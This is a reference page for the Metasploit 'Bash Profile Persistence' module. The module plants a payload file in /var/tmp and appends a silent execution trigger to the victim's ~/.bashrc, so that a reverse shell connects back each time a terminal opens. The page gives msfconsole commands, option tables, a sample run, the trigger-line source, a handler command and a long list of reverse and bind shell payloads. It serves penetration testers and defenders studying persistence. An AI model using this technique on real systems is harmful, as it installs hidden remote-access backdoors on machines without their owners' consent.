Bash Profile Persistence - Metasploit
This page contains detailed information about how to use the exploit/linux/local/bash_profile_persistence metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Bash Profile Persistence
Module: exploit/linux/local/bash_profile_persistence
Source code: modules/exploits/linux/local/bash_profile_persistence.rb
Disclosure date: 1989-06-08
Last modification time: 2021-12-24 03:06:37 +0000
Supported architecture(s): cmd
Supported platform(s): Linux, Unix
Target service / protocol: -
Target network port(s): -
List of CVEs: -
" This module writes an execution trigger to the target's Bash profile. The execution trigger executes a call back payload whenever the target user opens a Bash terminal. A handler is not run automatically, so you must configure an appropriate exploit/multi/handler to receive the callback. "
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.
- config-changes: Module modifies some configuration setting on the target machine.
Basic Usage
Note: To run a local exploit, make sure you are at the msf prompt.
Also, to check the session ID, use the sessions
command.
msf > use exploit/linux/local/bash_profile_persistence
msf exploit(bash_profile_persistence) > show targets
... a list of targets ...
msf exploit(bash_profile_persistence) > set TARGET target-id
msf exploit(bash_profile_persistence) > show options
... show and set options ...
msf exploit(bash_profile_persistence) > set SESSION session-id
msf exploit(bash_profile_persistence) > exploit
Required Options
- SESSION: The session to run this module on.
Knowledge Base
Description
This module establishes persistence via the Linux Bash profile method.
This module makes two changes to the target system.
First, the module writes a payload to a directory (/var/temp/
by default).
Second, the module writes a payload execution trigger to the Bash profile (~/.bashrc
by default).
The persistent payload is executed whenever the victim user opens a Bash terminal.
Vulnerable Application
This module has been tested successfully on:
- Ubuntu 19 (x86_64) running GNU bash, version 5.0.3(1)-release
Verification Steps
- Start
msfconsole
- Get a Meterpreter session
use exploit/linux/local/bash_profile_persistence
set SESSION [SESSION]
run
- On victim, open a new Bash terminal
- You should get a new session with the permissions of the exploited user account
Options
BASH_PROFILE
The path to the target Bash profile. (default: ~/.bashrc
)
PAYLOAD_DIR
A writable directory file system path. (default: /var/tmp
)
Scenarios
msf5 > use exploit/linux/local/bash_profile_persistence
msf5 exploit(linux/local/bash_profile_persistence) > set SESSION 1
msf5 exploit(linux/local/bash_profile_persistence) > exploit
[*] Bash profile exists: /home/user/.bashrc
[*] Bash profile is writable: /home/user/.bashrc
[*] Created backup Bash profile: /root/.msf4/logs/persistence/192.168.1.191_20191128.130945_Bash_Profile.backup
[*] Writing '/var/tmp/IgHypGLMglheQ' (126 bytes) ...
[+] Wrote payload trigger to Bash profile
[!] Payload will be triggered when target opens a Bash terminal
[!] Don't forget to start your handler:
[!] msf> handler -H 0.0.0.0 -P 4444 -p cmd/unix/reverse_python
Go back to menu.
Msfconsole Usage
Here is how the linux/local/bash_profile_persistence exploit module looks in the msfconsole:
msf6 > use exploit/linux/local/bash_profile_persistence
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(linux/local/bash_profile_persistence) > show info
Name: Bash Profile Persistence
Module: exploit/linux/local/bash_profile_persistence
Platform: Unix, Linux
Arch: cmd
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 1989-06-08
Provided by:
Michael Long <[email protected]>
Available targets:
Id Name
-- ----
0 Automatic
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BASH_PROFILE ~/.bashrc yes Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.
PAYLOAD_DIR /var/tmp/ yes Directory to write persistent payload file.
SESSION yes The session to run this module on.
Payload information:
Description:
" This module writes an execution trigger to the target's Bash
profile. The execution trigger executes a call back payload whenever
the target user opens a Bash terminal. A handler is not run
automatically, so you must configure an appropriate
exploit/multi/handler to receive the callback. "
References:
https://attack.mitre.org/techniques/T1156/
Module Options
This is a complete list of options available in the linux/local/bash_profile_persistence exploit:
msf6 exploit(linux/local/bash_profile_persistence) > show options
Module options (exploit/linux/local/bash_profile_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
BASH_PROFILE ~/.bashrc yes Target Bash profile location. Usually ~/.bashrc or ~/.bash_profile.
PAYLOAD_DIR /var/tmp/ yes Directory to write persistent payload file.
SESSION yes The session to run this module on.
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
Advanced Options
Here is a complete list of advanced options supported by the linux/local/bash_profile_persistence exploit:
msf6 exploit(linux/local/bash_profile_persistence) > show advanced
Module advanced options (exploit/linux/local/bash_profile_persistence):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 0 no Additional delay in seconds to wait for a session
Payload advanced options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoRunScript no A script to run automatically on session creation.
AutoVerifySession true yes Automatically verify and drop invalid sessions
CommandShellCleanupCommand no A command to run before the session is closed
CreateSession true no Create a new session for every successful login
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/local/bash_profile_persistence module can exploit:
msf6 exploit(linux/local/bash_profile_persistence) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/local/bash_profile_persistence exploit:
msf6 exploit(linux/local/bash_profile_persistence) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
1 payload/cmd/unix/bind_busybox_telnetd normal No Unix Command Shell, Bind TCP (via BusyBox telnetd)
2 payload/cmd/unix/bind_jjs normal No Unix Command Shell, Bind TCP (via jjs)
3 payload/cmd/unix/bind_lua normal No Unix Command Shell, Bind TCP (via Lua)
4 payload/cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
5 payload/cmd/unix/bind_netcat_gaping normal No Unix Command Shell, Bind TCP (via netcat -e)
6 payload/cmd/unix/bind_netcat_gaping_ipv6 normal No Unix Command Shell, Bind TCP (via netcat -e) IPv6
7 payload/cmd/unix/bind_nodejs normal No Unix Command Shell, Bind TCP (via nodejs)
8 payload/cmd/unix/bind_perl normal No Unix Command Shell, Bind TCP (via Perl)
9 payload/cmd/unix/bind_perl_ipv6 normal No Unix Command Shell, Bind TCP (via perl) IPv6
10 payload/cmd/unix/bind_r normal No Unix Command Shell, Bind TCP (via R)
11 payload/cmd/unix/bind_ruby normal No Unix Command Shell, Bind TCP (via Ruby)
12 payload/cmd/unix/bind_ruby_ipv6 normal No Unix Command Shell, Bind TCP (via Ruby) IPv6
13 payload/cmd/unix/bind_socat_udp normal No Unix Command Shell, Bind UDP (via socat)
14 payload/cmd/unix/bind_zsh normal No Unix Command Shell, Bind TCP (via Zsh)
15 payload/cmd/unix/generic normal No Unix Command, Generic Command Execution
16 payload/cmd/unix/pingback_bind normal No Unix Command Shell, Pingback Bind TCP (via netcat)
17 payload/cmd/unix/pingback_reverse normal No Unix Command Shell, Pingback Reverse TCP (via netcat)
18 payload/cmd/unix/reverse normal No Unix Command Shell, Double Reverse TCP (telnet)
19 payload/cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
20 payload/cmd/unix/reverse_bash_telnet_ssl normal No Unix Command Shell, Reverse TCP SSL (telnet)
21 payload/cmd/unix/reverse_jjs normal No Unix Command Shell, Reverse TCP (via jjs)
22 payload/cmd/unix/reverse_ksh normal No Unix Command Shell, Reverse TCP (via Ksh)
23 payload/cmd/unix/reverse_lua normal No Unix Command Shell, Reverse TCP (via Lua)
24 payload/cmd/unix/reverse_ncat_ssl normal No Unix Command Shell, Reverse TCP (via ncat)
25 payload/cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
26 payload/cmd/unix/reverse_netcat_gaping normal No Unix Command Shell, Reverse TCP (via netcat -e)
27 payload/cmd/unix/reverse_nodejs normal No Unix Command Shell, Reverse TCP (via nodejs)
28 payload/cmd/unix/reverse_openssl normal No Unix Command Shell, Double Reverse TCP SSL (openssl)
29 payload/cmd/unix/reverse_perl normal No Unix Command Shell, Reverse TCP (via Perl)
30 payload/cmd/unix/reverse_perl_ssl normal No Unix Command Shell, Reverse TCP SSL (via perl)
31 payload/cmd/unix/reverse_php_ssl normal No Unix Command Shell, Reverse TCP SSL (via php)
32 payload/cmd/unix/reverse_python normal No Unix Command Shell, Reverse TCP (via Python)
33 payload/cmd/unix/reverse_python_ssl normal No Unix Command Shell, Reverse TCP SSL (via python)
34 payload/cmd/unix/reverse_r normal No Unix Command Shell, Reverse TCP (via R)
35 payload/cmd/unix/reverse_ruby normal No Unix Command Shell, Reverse TCP (via Ruby)
36 payload/cmd/unix/reverse_ruby_ssl normal No Unix Command Shell, Reverse TCP SSL (via Ruby)
37 payload/cmd/unix/reverse_socat_udp normal No Unix Command Shell, Reverse UDP (via socat)
38 payload/cmd/unix/reverse_ssh normal No Unix Command Shell, Reverse TCP SSH
39 payload/cmd/unix/reverse_ssl_double_telnet normal No Unix Command Shell, Double Reverse TCP SSL (telnet)
40 payload/cmd/unix/reverse_tclsh normal No Unix Command Shell, Reverse TCP (via Tclsh)
41 payload/cmd/unix/reverse_zsh normal No Unix Command Shell, Reverse TCP (via Zsh)
Evasion Options
Here is the full list of possible evasion options supported by the linux/local/bash_profile_persistence exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/local/bash_profile_persistence) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Don't forget to start your handler
Here is a relevant code snippet related to the "Don't forget to start your handler" error message:
87: # write payload trigger to Bash profile
88: exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
89: append_file(profile_path, exec_payload_string)
90: print_good("Created Bash profile persistence")
91: print_status("Payload will be triggered when target opens a Bash terminal")
92: print_warning("Don't forget to start your handler:")
93: print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
94: end
95:
96: # create a backup copy of the target's Bash profile on the local system before persistence is added
97: def create_backup_file(backup_profile)
msf> handler -H <LHOST> -P <LPORT> -p <PAYLOAD>
Here is a relevant code snippet related to the "msf> handler -H <LHOST> -P <LPORT> -p <PAYLOAD>" error message:
88: exec_payload_string = "#{payload_file} > /dev/null 2>&1 &" + "\n" # send stdin,out,err to /dev/null
89: append_file(profile_path, exec_payload_string)
90: print_good("Created Bash profile persistence")
91: print_status("Payload will be triggered when target opens a Bash terminal")
92: print_warning("Don't forget to start your handler:")
93: print_warning("msf> handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}")
94: end
95:
96: # create a backup copy of the target's Bash profile on the local system before persistence is added
97: def create_backup_file(backup_profile)
98: begin
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12832 Merged Pull Request: DisablePayloadHandler replace strings with bools
- #12725 Merged Pull Request: New module: Bash Profile Persistence
References
See Also
Check also the following modules related to this module:
- exploit/unix/dhcp/bash_environment
- exploit/linux/http/advantech_switch_bash_env_exec
- exploit/linux/http/ipfire_bashbug_exec
- exploit/multi/ftp/pureftpd_bash_env_exec
- exploit/multi/http/apache_mod_cgi_bash_env_exec
- exploit/multi/http/cups_bash_env_exec
- exploit/osx/local/vmware_bash_function_root
- exploit/unix/smtp/qmail_bash_env_exec
- exploit/linux/local/apt_package_manager_persistence
- exploit/linux/local/autostart_persistence
- exploit/linux/local/cron_persistence
- exploit/linux/local/rc_local_persistence
- exploit/linux/local/service_persistence
- exploit/linux/local/yum_package_manager_persistence
- exploit/osx/local/persistence
- exploit/unix/local/at_persistence
- exploit/windows/local/persistence
- exploit/windows/local/registry_persistence
- exploit/windows/local/s4u_persistence
- exploit/windows/local/vss_persistence
- exploit/windows/local/wmi_persistence
- exploit/windows/local/persistence_image_exec_options
- exploit/windows/local/persistence_service
- post/linux/manage/sshkey_persistence
- post/windows/manage/persistence_exe
- post/windows/manage/sshkey_persistence
- auxiliary/scanner/http/apache_mod_cgi_bash_env
- auxiliary/server/dhclient_bash_env
- payload/cmd/unix/reverse_bash
- payload/cmd/unix/reverse_bash_telnet_ssl
- payload/cmd/unix/reverse_bash_udp
- exploit/linux/http/riverbed_netprofiler_netexpress_exec
- exploit/windows/local/bypassuac_dotnet_profiler
- exploit/windows/local/cve_2022_26904_superprofile
Authors
- Michael Long <bluesentinel[at]protonmail.com>
Version
This page has been produced using Metasploit Framework version 6.1.41-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.